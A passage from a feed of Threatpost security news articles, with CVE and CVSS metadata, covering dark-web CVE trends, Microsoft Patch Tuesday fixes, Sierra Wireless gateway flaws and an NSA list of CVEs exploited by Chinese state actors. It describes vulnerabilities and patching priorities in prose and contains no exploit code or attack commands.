the 9-year-old [CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) was exploited by threat actors during the COVID-19 pandemic in 2020, which, \u201cindicates that organizations are not patching their systems and are not maintaining a resilient security posture.\u201d\n\nMicrosoft has the dubious distinction of being behind five of the six most popular vulns on the Dark Web, Cognyte found. Microsoft has also had a tough time getting users to patch them.\n\nZeroLogon is a prime example. The [flaw in Microsoft\u2019s software](<https://threatpost.com/microsoft-implements-windows-zerologon-flaw-enforcement-mode/163104/>) allows threat actors to access domain controllers and breach all Active Directory identity services. Patching ZeroLogon was so slow, Microsoft announced in January it would start blocking Active Directory domain access to unpatched systems with an \u201cenforcement mode.\u201d\n\nIn March 2020, Microsoft patched the number two vulnerability on the list, CVE-2020-0796, but as of October, 100,000 [Windows systems were still vulnerable](<https://threatpost.com/microsofts-smbghost-flaw-108k-windows-systems/160682/>).\n\nThe analysts explained varying CVEs were more talked about depending on the forum language. The CVE favored by Russian-language forums was CVE-2019-19781. Chinese forums were buzzing most about CVE-2020-0796. There was a tie between CVE-2020-0688 and CVE-2019-19781 in English-speaking threat actor circles. And Turkish forums were focused on CVE-2019-6340.\n\nThe researchers add, for context, that about half of the monitored forums were Russian-speaking and that Spanish forums aren\u2019t mentioned because there wasn\u2019t a clear frontrunning CVE discussed.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T21:07:15", "type": "threatpost", "title": "Top CVEs Trending with Cybercriminals", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2012-0158", "CVE-2017-0199", "CVE-2017-11882", "CVE-2019-0708", "CVE-2019-19781", "CVE-2019-6340", "CVE-2020-0688", "CVE-2020-0796", "CVE-2020-1472"], "modified": "2021-07-16T21:07:15", "id": "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "href": "https://threatpost.com/top-cves-trending-with-cybercriminals/167889/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:20:11", "description": "Microsoft has released patches for 129 security bugs in its September Patch Tuesday update. These include 23 critical flaws, 105 that are important in severity and one moderate bug. Fortunately, none are publicly known or under active exploitation, Microsoft said.\n\nThe most severe issue in the bunch is [CVE-2020-16875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875>), according to researchers. This is a memory-corruption problem in Microsoft Exchange that allows remote code-execution (RCE) just by sending an email to a target. Running arbitrary code could grant attackers the access they need to create new accounts, access, modify or remove data, and install programs.\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cThis patch corrects a vulnerability that allows an attacker to execute code at SYSTEM by sending a specially crafted email to an affected Exchange Server,\u201d wrote Dustin Childs, researcher at Trend Micro\u2019s Zero-Day Initiative (ZDI), in [an analysis](<https://www.zerodayinitiative.com/blog/2020/9/8/the-september-2020-security-update-review>) on Tuesday. \u201cThat is about the worst-case scenario for Exchange servers. We have seen the previously patched Exchange bug CVE-2020-0688 used in the wild, and that requires authentication. We\u2019ll likely see this one in the wild soon. This should be your top priority.\u201d\n\nJustin Knapp, product marketing manager at Automox, added that while this vulnerability only affects Exchange Server versions 2016 and 2019, \u201cthe broad use of Microsoft Exchange across business users and a high CVSS score of 9.1 indicates that this patch should be prioritized high on the list.\u201d\n\nAnother critical RCE vulnerability that should be prioritized for patching is [CVE-2020-1210](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1210>), which exists in SharePoint due to a failure to check an application package\u2019s source markup. It rates 9.9 out of 10 on the CVSS severity scale.\n\n\u201cTo exploit this flaw, an attacker would need to be able to upload a SharePoint application package to a vulnerable SharePoint site,\u201d Satnam Narang, staff research engineer at Tenable, said via email. \u201cThis vulnerability is reminiscent of a similar SharePoint remote code-execution flaw, [CVE-2019-0604](<https://threatpost.com/un-hack-microsoft-sharepoint-flaw/152378/#:~:text=Hackers%20breached%20the%20United%20Nations,SharePoint%20vulnerability%2C%20according%20to%20reports.&text=This%20remote%20code%2Dexecution%20vulnerability,did%20not%20update%20its%20systems.>), that has been exploited in the wild by threat actors since at least April 2019.\u201d\n\nThere are a total of seven RCE bugs being fixed in SharePoint. Only one, CVE-2020-1460, requires authentication.\n\nKnapp flagged another critical RCE vulnerability (rated 8.4 on the CvSS scale) in the Windows Graphic Device Interface ([CVE-2020-1285](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1285>)). It arises because of the way the GDI handles objects in memory, providing both web-based and file-sharing attack scenarios that could introduce multiple vectors for an attacker to gain control of a system, he said.\n\n\u201cIn the web-based attack scenario, an attacker would need to craft a website designed to exploit the vulnerability and then convince users to view the website,\u201d Knapp noted. \u201cSince there\u2019s no way to force users to view the attacker-controlled content, the attacker would need to convince users to take action, typically by getting them to open an email attachment or click a link. In the file-sharing scenario, the attacker would need to convince users to open a specially crafted file designed to exploit the vulnerability. Given the extensive list of Windows and Windows Server versions impacted and the lack of a workaround or mitigation, this is a vulnerability that should be patched immediately.\u201d\n\nSeptember\u2019s slew of patches also features several other RCE bugs, including one in the Microsoft Windows Codecs Library ([CVE-2020-1129](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1129>), with an 8.8 CvSS rating), which is used by multiple applications and can therefore affect a wide range of programs. An attacker could execute code on a victim machine by convincing someone to view a weaponized video clip.\n\n\u201c[This] could allow code execution if an affected system views a specially crafted image,\u201d Childs explained. \u201cThe specific flaw exists within the parsing of HEVC streams. A crafted HEVC stream in a video file can trigger an overflow of a fixed-length stack-based buffer.\u201d\n\nAnother critical RCE problem exists in the Microsoft Component Object Model (COM) for Windows ([CVE-2020-0922](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0922>)), which is a platform-independent system for creating binary software components that can interact with each other. Like the previous bug, there are likely multiple applications that could be impacted by the flaw if they use COM. It rates 8.8 on the CvSS scale.\n\n\u201cThis patch corrects a vulnerability that would allow an attacker to execute code on an affected system if they can convince a user to open a specially crafted file or lure the target to a website hosting malicious JavaScript,\u201d Childs explained.\n\nMeanwhile, [CVE-2020-16874](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16874>) is a critical RCE vulnerability within Visual Studio, rating 7.8. An attacker could successfully exploit this vulnerability by convincing a user to open a specially crafted file using an affected version of the software.\n\n\u201cIf the compromised user is logged in with admin rights, the attacker could take control of the affected system and gain the ability to install programs; view, change, or delete data; or create new accounts with full user rights,\u201d Automox\u2019 Knapp said. \u201cThe vulnerability exists in multiple versions of Visual Studio dating back to 2012.\u201d\n\nAmong the other bugs of note, Childs also highlighted [CVE-2020-0951](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0951>), an important-rated security feature bypass bug in Windows Defender.\n\n\u201cAn attacker with administrative privileges on a local machine could connect to a PowerShell session and send commands to execute arbitrary code,\u201d Childs said. \u201cThis behavior should be blocked by WDAC, which does make this an interesting bypass. However, what\u2019s really interesting is that this is getting patched at all. Vulnerabilities that require administrative access to exploit typically do not get patches. I\u2019m curious about what makes this one different.\u201d\n\nSeptember\u2019s Patch Tuesday release continues a trend of high-volume security updates. The patches are for a wide range of products, including Microsoft Windows, Edge (both EdgeHTML-based and Chromium-based), ChakraCore, Internet Explorer (IE), SQL Server, Office and Office Services and Web Apps, Microsoft Dynamics, Visual Studio, Exchange Server, ASP.NET, OneDrive and Azure DevOps.\n\n\u201cThat brings us to seven straight months of 110+ CVEs,\u201d said Childs. \u201cIt also brings the yearly total close to 1,000. It certainly seems like this volume is the new normal for Microsoft patches.\u201d\n\nOrganizations are struggling to keep up, Knapp noted.\n\n\u201cAs many organizations continue to struggle to support the ongoing distribution of remote workers, Microsoft continues to pile on the updates,\u201d he said. \u201cFinding an efficient method for rolling out these patches has become even more imperative as companies begin to abandon the idea of a short-term fix and shift operations to embrace remote work as part of a lasting, long-term progression of how organizations operate moving forward\u2026.We\u2019re beginning to realize the negative outcomes of the lenient security measures put in place to quickly adapt to a decentralized workforce and it\u2019s become more important than ever to establish patching policies that can securely support remote endpoints for the foreseeable future.\u201d\n\nMeanwhile, [Adobe fixed](<https://threatpost.com/critical-adobe-flaws-attackers-javascript-browsers/159026/>) five critical cross-site scripting (XSS) flaws in Experience Manager as part of its regularly scheduled patches on Tuesday. It also addressed flaws in Adobe Framemaker, its document-processor designed for writing and editing large or complex documents; and InDesign, its desktop publishing and typesetting software application.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-08T20:40:46", "type": "threatpost", "title": "Microsoft's Patch Tuesday Packed with Critical RCE Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604", "CVE-2020-0688", "CVE-2020-0922", "CVE-2020-0951", "CVE-2020-1129", "CVE-2020-1210", "CVE-2020-1285", "CVE-2020-1460", "CVE-2020-16874", "CVE-2020-16875", "CVE-2020-5135"], "modified": "2020-09-08T20:40:46", "id": "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "href": "https://threatpost.com/microsofts-patch-tuesday-critical-rce-bugs/159044/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:13", "description": "A 5G wireless gateway tailored for industrial internet of things (IoT), retail point-of-sale and enterprise redundancy applications is riddled with vulnerabilities, include two critical bugs that allow remote code-execution (RCE) and arbitrary command-injection.\n\nThe Sierra Wireless AirLink ES450 LTE gateway (version 4.9.3) has 11 different bugs, which could be exploited for RCE, uncovering user credentials (including the administrator\u2019s password) and other scenarios, according to Cisco Talos, which found the issues. Sierra Wireless has issued an update and administrators are encouraged to apply it.\n\n\u201cThe majority of these vulnerabilities exist in ACEManager, the web server included with the ES450,\u201d Cisco explained in [an advisory](<https://blog.talosintelligence.com/2019/04/vulnerability-sierra-airlink.html>) on Thursday. \u201cACEManager is responsible for the majority of interactions on the device, including device reconfiguration, user authentication and certificate management.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe most serious of the flaws is a critical RCE vulnerability ([CVE-2018-4063](<https://www.talosintelligence.com/reports/TALOS-2018-0748>)), CVSS score of 9.9, in the upload.cgi function of the ACEManager, which allows an attacker to use a specially crafted HTTP request to upload executable code, to be routed to the web server.\n\n\u201cWhen uploading template files, you can specify the name of the file that you are uploading,\u201d according to Cisco. \u201cThere are no restrictions in place that protect the files that are currently on the device, used for normal operation. If a file is uploaded with the same name of the file that already exists in the directory, then we inherit the permissions of that file.\u201d\n\nFurther, since ACEManager is running as root, any executables that are run by those files will be running also as root. \u201cBy uploading a small wrapper, we can upload arbitrary code to the device and run by simply navigating to the web page through the browser,\u201d Cisco noted.\n\nAlso in the upload.cgi function, an unverified password change vulnerability ([CVE-2018-4064](<https://www.talosintelligence.com/reports/TALOS-2018-0749>)) opens the door to an unverified device configuration change, resulting in an unverified change of the `user` password on the device.\n\nIn both cases, an attacker exploiting the upload.cgi bugs can make an authenticated HTTP request to trigger the vulnerability.\n\nThere\u2019s also a critical command-injection vulnerability ([CVE-2018-4061](<https://www.talosintelligence.com/reports/TALOS-2018-0746>)), CVSS score of 9.9, which exists in the ACEManager iplogging.cgi functionality. An authenticated attacker can send a specially crafted HTTP request to inject arbitrary commands, resulting in arbitrary command execution as root. This bug most likely also affects the also most likely affects the AirLink GX450 product, Cisco added.\n\nAnother problem arises from having hard-coded credentials ([CVE-2018-4062](<https://www.talosintelligence.com/reports/TALOS-2018-0747>)) in the SNMPD function of the gateway.\n\n\u201cActivating SNMPD outside of the WebUI can cause the activation of the hard-coded credentials, resulting in the exposure of a privileged user,\u201d according to Cisco. \u201cAn attacker can activate SNMPD without any configuration changes to trigger this vulnerability.\u201d\n\nMeanwhile, there are four information-disclosure vulnerabilities. For one, the ACEManager authentication functionality is done in plaintext XML to the web server ([CVE-2018-4069](<https://www.talosintelligence.com/reports/TALOS-2018-0754>)), so an attacker can listen to network traffic upstream from the device to sniff out credentials.\n\nThe other three ([CVE-2018-4067](<https://www.talosintelligence.com/reports/TALOS-2018-0752>), [CVE-2018-4068](<https://www.talosintelligence.com/reports/TALOS-2018-0753>) and [CVE-2018-4070/CVE-2018-4071](<https://www.talosintelligence.com/reports/TALOS-2018-0755>)) can expose internal paths and files; the default configuration for the device; or plain text passwords and SNMP community strings. An attacker can send an unauthenticated HTTP request to trigger any of these.\n\nOther bugs include a permission assignment vulnerability ([CVE-2018-4072/CVE-2018-4073](<https://www.talosintelligence.com/reports/TALOS-2018-0756>)), a cross-site scripting (CSS) vulnerability ([CVE-2018-4065](<https://www.talosintelligence.com/reports/TALOS-2018-0750>)) and a cross-site request forgery (CSRF) vulnerability ([CVE-2018-4066](<https://www.talosintelligence.com/reports/TALOS-2018-0751>)).\n\nThe gateway is billed as a \u201ca reliable, secure LTE gateway,\u201d and is one of the first-to-market to capitalize on the deployment of next-generation 5G mobile networks, which are expected to support [a whole raft of new use cases](<https://threatpost.com/5g-security/140664/>), especially in the industrial IoT space. But as these flaws illustrate, vulnerabilities come with any new territory.\n\n\u201cHistory has shown us that when we expand our computing power and connectivity, we open up a new landscape for attackers to use against us, with prime examples of this being the cloud and connected IoT devices,\u201d Steve McGregory, senior director of application and threat intelligence at Ixia, told Threatpost. He added, \u201cWe are racing into 5G just as we did with IoT and the cloud\u2026if that trend is to continue, then we must plan and prepare.\u201d\n", "cvss3": {}, "published": "2019-04-26T16:12:06", "type": "threatpost", "title": "Critical Flaws in Sierra Wireless 5G Gateway Allow RCE, Command Injection", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-4061", "CVE-2018-4062", "CVE-2018-4063", "CVE-2018-4064", "CVE-2018-4065", "CVE-2018-4066", "CVE-2018-4067", "CVE-2018-4068", "CVE-2018-4069", "CVE-2018-4070", "CVE-2018-4071", "CVE-2018-4072", "CVE-2018-4073", "CVE-2020-0688"], "modified": "2019-04-26T16:12:06", "id": "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "href": "https://threatpost.com/critical-flaws-sierra-wireless-5g/144142/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:30:41", "description": "Microsoft has issued one of its largest Patch Tuesday updates for the shortest month of the year, addressing 99 security vulnerabilities across a range of products. Twelve of the bugs are listed as critical \u2013 and the rest are rated as being important.\n\nThe update includes a patch for the [zero-day memory-corruption vulnerability disclosed in late January](<https://threatpost.com/microsoft-zero-day-actively-exploited-patch/152018/>) that\u2019s under active attack. The bug tracked as [CVE-2020-0674](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0674>) is a critical flaw for most Internet Explorer versions, allowing remote code-execution and complete takeover.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis browser bug impacts IE and the other programs that rely on the Trident rendering engine,\u201d explained Dustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative, in his[ Patch Tuesday analysis](<https://www.thezdi.com/blog/2020/2/11/the-february-2020-security-update-review>). \u201cAttackers can execute code on affected systems if a user browses to a specially crafted website. Even if you don\u2019t use IE, you could still be affected by this bug though embedded objects in Office documents. Considering the listed workaround \u2013 disabling jscript.dll \u2013 breaks a fair amount of functionality, you should prioritize the testing and deployment of this patch.\u201d\n\nAlso of note: February 2020 marks the first security updates for the new Edge Chromium browser edition. There were 41 vulnerabilities fixed in the Chromium-based Edge version that were technically not part of Patch Tuesday \u2013 which brings the total number of bugs fixed by Microsoft this week to 140.\n\n## Critical Patches for February 2020\n\nThe update includes a wealth of \u201cstandout\u201d bugs, according to researcher analyses, including several critical vulnerabilities in addition to the zero day.\n\nAccording to Jay Goodman, technical marketing manager at Automox, bugs to watch include [CVE-2020-0618](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618>) and [CVE-2020-0662](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0662>) (only the latter is listed as critical), which are nearly identical remote code-execution (RCE) bugs in SQL Server 2012, 2014 and 2016 (32 and 64 bit) and Windows 7, 8.1, 10, Server 2008, 2012, 2016 and 2019, respectively.\n\n\u201cThese vulnerabilities allow attackers to access a system and read or delete contents, make changes or directly run code on the system,\u201d he said via email. \u201cThis gives an attacker quick and easy access to not only your organization\u2019s most critical data stored in the SQL server but also a platform to perform additional malicious attacks against other devices in your environment.\u201d\n\nThe critical bug can lead to RCE if an attacker has Domain User credentials, according to Jimmy Graham, researcher with Qualys.\n\n\u201cWhile this vulnerability is labeled as \u2018exploitation less likely,\u2019 this vulnerability can be attacked over the network with no user interaction according to the CVSS Vector Strings set by Microsoft,\u201d he explained in [an analysis](<https://blog.qualys.com/laws-of-vulnerabilities/2020/02/11/february-2020-patch-tuesday-99-vulns-12-critical-patch-for-ie-0-day-exchange-vuln-adobe-vulns>). \u201cThe impacted service is not stated in the bulletin. Based on the information given, this should be prioritized across all Windows servers and workstations.\u201d\n\nAdditionally, two critical remote code-execution vulnerabilities in Remote Desktop ([CVE-2020-0681](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0681>) and [CVE-2020-0734](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0734>)) were patched, and are likely to be exploited, according to Microsoft.\n\n\u201cExploitation of these requires an attacker to either persuade their victim into connecting to a vulnerable Remote Desktop Server operated by the attacker, or plant malicious code on a compromised Remote Desktop Server and wait for the vulnerable user to connect to it,\u201d Satnam Narang, senior research engineer at Tenable, explained via email.\n\nRichard Tsang, senior software engineer at Rapid7, told Threatpost that CVE-2020-0734 is a critical Windows Remote Desktop Client vulnerability that exists in how connection requests are handled.\n\n\u201cThe stream of [Windows Remote Desktop vulnerabilities continues](<https://threatpost.com/wormable-remote-desktop-bugs-august-patch-tuesday/147302/>), albeit having slowed down,\u201d he said. \u201cIn this scenario, a compromised legitimate server (or a malicious server) can be used to trigger the remote code execution. Given the extra eyes on RDP vulnerabilities of late, prioritizing operating system patches on this front would be a prudent move.\u201d\n\nOne other critical bug to note is [CVE-2020-0729](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0729>), a .LNK RCE vulnerability, which Childs said is similar to the bug that was exploited by [the Stuxnet malware](<https://threatpost.com/stuxnet-apts-gossip-girl/143595/>). Stuxnet was used to take out Iranian nuclear enrichment facilities in 2012. The new bug can also be used to attack air-gapped \u201csecure\u201d systems, he said, by exploiting shortcut .LNK files.\n\n\u201cBugs impacting link files (.LNK) never fail to amaze me,\u201d said Childs. \u201cAn attacker could use this vulnerability to get code execution by having an affected system process a specially crafted .LNK file. This could be done by convincing a user to open a remote share, or \u2013 as has been seen in the past \u2013 placing the .LNK file on a USB drive and having the user open it. It\u2019s a handy way to exploit an air-gapped system.\u201d\n\nThe other critical bugs fixed by Microsoft in February are CVE-2020-0738, a Media Foundation Memory Corruption Vulnerability allowing RCE; and several Scripting Engine Memory Corruption Vulnerabilities allowing RCE. This latter group includes CVE-2020-0710, CVE-2020-0711, CVE-2020-0712, CVE-2020-0713, CVE-2020-0673 and CVE-2020-0767.\n\n## Important-Rated Patches\n\nAs for the important-rated patches, the volume of elevation-of-privilege (EoP) bugs being patched is \u201csomewhat staggering,\u201d ZDI\u2019s Childs noted, with 55 patches in all. Also, information-disclosure bugs are well-represented, with 16 patches in February, including a publicly known bug ([CVE-2020-0706](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0706>)) impacting IE and Edge. Childs said that six of them exist in the Cryptography Next Generation (CNG) portion of the Windows Key Isolation service.\n\nChilds also flagged [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), a memory-corruption bug in Microsoft Exchange, which could be trivially exploited to grant an attacker the ability to create a new account, install programs, and view, change or delete data.\n\n\u201cThis code-execution bug in Exchange is only listed as important, but you should treat it as a critical-rated vulnerability,\u201d he said. \u201cAn attacker could gain code execution on affected Exchange servers by sending a specially crafted email. No other user interaction is required. The code execution occurs at System-level permissions, so the attacker could completely take control of an Exchange server through a single email.\u201d\n\n## Racing Against Exploitation\n\nMicrosoft\u2019s February update is the largest in quite some time, researchers said, with flaws disclosed for Windows, Edge (EdgeHTML-based), ChakraCore, Internet Explorer (IE), SQL Server, Exchange Server, Office, Office Services and Web Apps, Azure DevOps Server, Team Foundation Server and the Microsoft Malware Protection Engine.\n\nAnd, five of the CVEs (including the previously mentioned zero day and the info-disclosure bug affecting browsers) have been publicly disclosed \u2014 and thus offer a threat actors a head start on exploitation.\n\n\u201cOverall, this is a very heavy Patch Tuesday on the Microsoft end. The race to patch critical vulnerabilities on your systems within the next 72 hours is on,\u201d Goodman advised. \u201cAttackers will have no shortage of exploitable vulnerabilities and new attack vectors to bring to bear in the coming days with nearly every build of Windows accounted for with critical vulnerabilities.\u201d\n\nAlso, for the first time, Microsoft is not updating Windows 7 this month.\n\n\u201cToday is a significant Patch Tuesday, marking the first time there will be no patches for Windows 7,\u201d Rui Lopes, engineering and technical support director at Panda Security, told Threatpost. \u201cHowever, that doesn\u2019t mean there aren\u2019t vulnerabilities. In fact, today\u2019s release features several critical and zero-day patches to be deployed, so any machines still running Windows 7 are now, by default, exceptionally vulnerable\u2014providing open doors for hackers to walk through and exploit. Therefore, if you have any devices running Windows 7, it is top priority to update them immediately.\u201d\n\nThe good news, according to Todd Schell, senior product manager for security at Ivanti, is that most of the CVEs can be resolved by applying just a few Microsoft updates.\n\n\u201cOn average, your OS updates will resolve around 50 CVEs,\u201d he explained, via email. \u201cThe normal updates still apply. OS, browsers, and Office will resolve most of your vulnerabilities from the Microsoft side. SQL and Exchange Admins do get a bit of extra work this month as both of those products are included in the updates released\u2026[but with] a couple of patches per system you can take the teeth out of the majority of the risk this month.\u201d\n\nOne vulnerability worth mentioning in this context this month is [CVE-2020-0689](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0689>), a security feature bypass that was also previously disclosed; an attacker could bypass secure boot and load untrusted software.\n\nBoth Childs and Tsang noted that while the vulnerability itself is not that interesting, what stands out is the fact that the remediation steps are different from the usual patching practices.\n\n\u201cWhereas most operating system-level vulnerabilities are bundled in either a Security-Only/Monthly Rollup or Cumulative Update stream, this fix is segregated out in separate KB patches that also have explicit Servicing Stack Update prerequisites,\u201d Tsang said. \u201cThe idea that there\u2019s a change in process, in itself, is something to note.\u201d\n\nChilds added, \u201cWhile this is certainly a bug to scrutinize, it\u2019s compounded by a non-standard patching process. This month\u2019s servicing stack must first be applied, then additional standalone security updates need to be installed. If you have the Windows Defender Credential Guard (Virtual Secure Mode) enabled, you\u2019ll need to go through two additional reboots as well. All this is needed to block impacted third-party bootloaders.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-11T22:06:57", "type": "threatpost", "title": "Microsoft Addresses Active Attacks, Air-Gap Danger with 99 Patches", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0618", "CVE-2020-0662", "CVE-2020-0673", "CVE-2020-0674", "CVE-2020-0681", "CVE-2020-0688", "CVE-2020-0689", "CVE-2020-0706", "CVE-2020-0710", "CVE-2020-0711", "CVE-2020-0712", "CVE-2020-0713", "CVE-2020-0729", "CVE-2020-0734", "CVE-2020-0738", "CVE-2020-0767", "CVE-2020-5135"], "modified": "2020-02-11T22:06:57", "id": "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "href": "https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T15:51:14", "description": "Chinese state-sponsored cyberattackers are actively compromising U.S. targets using a raft of known security vulnerabilities \u2013 with a Pulse VPN flaw claiming the dubious title of \u201cmost-favored bug\u201d for these groups.\n\nThat\u2019s according to the National Security Agency (NSA), which released a \u201ctop 25\u201d list of the exploits that are used the most by China-linked advanced persistent threats (APT), which include the likes of [Cactus Pete](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>), [TA413,](<https://threatpost.com/chinese-apt-sepulcher-malware-phishing-attacks/158871/>) [Vicious Panda](<https://threatpost.com/coronavirus-apt-attack-malware/153697/>) and [Winniti](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>).\n\nThe Feds [warned in September](<https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/>) that Chinese threat actors had successfully compromised several government and private sector entities in recent months; the NSA is now driving the point home about the need to patch amid this flurry of heightened activity.[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cMany of these vulnerabilities can be used to gain initial access to victim networks by exploiting products that are directly accessible from the internet,\u201d warned the NSA, in its Tuesday [advisory](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2387347/nsa-warns-chinese-state-sponsored-malicious-cyber-actors-exploiting-25-cves/>). \u201cOnce a cyber-actor has established a presence on a network from one of these remote exploitation vulnerabilities, they can use other vulnerabilities to further exploit the network from the inside.\u201d\n\nAPTs \u2013 Chinese and otherwise \u2013 have ramped up their cyberespionage efforts in the wake of the pandemic as well as in the leadup to the U.S. elections next month. But Chlo\u00e9 Messdaghi, vice president of strategy at Point3 Security, noted that these vulnerabilities contribute to an ongoing swell of attacks.\n\n\u201cWe definitely saw an increase in this situation last year and it\u2019s ongoing,\u201d she said. \u201cThey\u2019re trying to collect intellectual property data. Chinese attackers could be nation-state, could be a company or group of companies, or just a group of threat actors or an individual trying to get proprietary information to utilize and build competitive companies\u2026in other words, to steal and use for their own gain.\u201d\n\n## **Pulse Secure, BlueKeep, Zerologon and More**\n\nPlenty of well-known and infamous bugs made the NSA\u2019s Top 25 cut. For instance, a notorious Pulse Secure VPN bug (CVE-2019-11510) is the first flaw on the list.\n\nIt\u2019s an [arbitrary file-reading flaw](<https://www.tenable.com/blog/cve-2019-11510-critical-pulse-connect-secure-vulnerability-used-in-sodinokibi-ransomware>) that opens systems to exploitation from remote, unauthenticated attackers. In April of this year, the Department of Homeland Security\u2019s Cybersecurity and Infrastructure Security Agency (CISA) [warned that](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>) attackers are actively using the issue to steal passwords to infiltrate corporate networks. And in fact, this is the bug at the heart of the [Travelex ransomware fiasco](<https://threatpost.com/sodinokibi-ransomware-travelex-fiasco/151600/>) that hit in January.\n\nPulse Secure issued a patch in April 2019, but many companies impacted by the flaw still haven\u2019t applied it, CISA warned.\n\nAnother biggie for foreign adversaries is a critical flaw in F5 BIG-IP 8 proxy/load balancer devices ([CVE-2020-5902](<https://threatpost.com/thousands-f5-big-ip-users-takeover/157543/>)). This remote code-execution (RCE) bug exists in the Traffic Management User Interface (TMUI) of the device that\u2019s used for configuration. It allows complete control of the host machine upon exploitation, enabling interception and redirection of web traffic, decryption of traffic destined for web servers, and serving as a hop-point into other areas of the network.\n\nAt the end of June, F5 issued urgent patches the bug, which has a CVSS severity score of 10 out of 10 \u201cdue to its lack of complexity, ease of attack vector, and high impacts to confidentiality, integrity and availability,\u201d researchers said at the time. Thousands of devices were shown to be vulnerable in a Shodan search in July.\n\nThe NSA also flagged several vulnerabilities in Citrix as being Chinese faves, including CVE-2019-19781, which was revealed last holiday season. The bug exists in the Citrix Application Delivery Controller (ADC) and Gateway, a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web. An exploit can lead to RCE without credentials.\n\nWhen it was originally disclosed in December, the vulnerability did not have a patch, and Citrix had to [scramble to push fixes out](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) \u2013 but not before public proof-of-concept (PoC) exploit code emerged, along with active exploitations and mass scanning activity for the vulnerable Citrix products.\n\nOther Citrix bugs in the list include CVE-2020-8193, CVE-2020-8195 and CVE-2020-8196.\n\nMeanwhile, Microsoft bugs are well-represented, including the [BlueKeep RCE bug](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) in Remote 